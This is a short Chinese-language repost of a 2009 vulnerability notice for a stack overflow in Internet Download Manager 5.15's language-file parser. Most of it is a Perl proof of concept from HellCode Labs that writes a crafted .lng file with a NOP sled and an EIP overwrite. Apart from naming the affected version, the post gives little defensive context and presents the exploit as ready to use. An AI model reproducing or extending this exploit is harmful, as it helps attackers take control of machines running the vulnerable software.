Internet下载管理器语言文件解析栈溢出漏洞

2009-4-29 10:46 744 0

摘要: 影响版本: Tonec Inc Internet Download Manager 5.15 Build 3测试方法：#####################PoC#################...

关键词： file print HellCode Internet Download toolbar musashi Manager packet buffer

影响版本: Tonec Inc Internet Download Manager 5.15 Build 3测试方法：#####################PoC#######################################Internet Download Manager v.5.15 Build 3 (4 December)#Works on Vista#HellCode Labs || TCC Group || http://tcc.hellcode.net#Bug was found by "musashi" aka karak0rsan[[email protected]]#thanx to murderkey$file="idm_tr.lng";$lng= "lang=0x1f Türkçe";$buffer = "\x90" x 1160;$eip = "AAAA";$toolbar = "20376=";$packet=$toolbar.$buffer.$eip;open(file, '>' . $file);print file $lng;print file "\n";print file $packet;close(file);print "File has created!\n"; PS：这东西份额不大~但只要有就会中招~

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除